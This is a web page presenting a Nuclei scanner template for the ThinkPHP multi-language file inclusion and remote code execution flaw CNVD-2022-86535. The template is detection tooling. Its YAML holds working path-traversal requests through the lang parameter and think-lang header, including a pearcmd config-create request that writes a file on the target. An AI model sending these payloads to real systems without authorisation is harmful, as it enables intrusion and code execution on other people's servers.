ThinkPHP Multi Languag - File Inc & Remote Code Execution (RCE)

ID: CNVD-2022-86535

Severity: high

Author: arliya,ritikchaddha

Tags: cnvd,cnvd2022,thinkphp,rce

Description

ThinkPHP has a command execution vulnerability because the multi-language function is enabled and the parameter passing of parameter lang is not strictly filtered. Attackers can use this vulnerability to execute commands.

YAML Source

id: CNVD-2022-86535

info:
  name: ThinkPHP Multi Languag - File Inc & Remote Code Execution (RCE)
  author: arliya,ritikchaddha
  severity: high
  description: |
    ThinkPHP has a command execution vulnerability because the multi-language function is enabled and the parameter passing of parameter lang is not strictly filtered. Attackers can use this vulnerability to execute commands.
  reference:
    - https://cn-sec.com/archives/1465289.html
    - https://blog.csdn.net/qq_60614981/article/details/128724640
    - https://www.cnvd.org.cn/flaw/show/CNVD-2022-86535
  metadata:
    verified: true
    max-request: 3
  tags: cnvd,cnvd2022,thinkphp,rce

http:
  - raw:
      - |
        GET /?lang=../../../../../usr/local/php/pearcmd HTTP/1.1
        Host: {{Hostname}}
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        think-lang: ../../../../../usr/local/php/pearcmd
      - |
        GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/safedog()+{{rand_base(10)}}.log HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: or
    matchers:
      - type: word
        part: set_cookie
        words:
          - "think_lang=..%2F..%2F..%2F..%2F"

      - type: word
        part: body_3
        words:
          - "CONFIGURATION"
          - "Successfully created"
        condition: and
# digest: 490a00463044022061684228a015a435251865c8ad4e5a566ab6f4de613255229317ccb132f2813d022026844e47c56ecbe47b5e9b0901afa3a703a75c3f3911c3402142366ee61dc325:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cnvd/2022/CNVD-2022-86535.yaml"

View on Github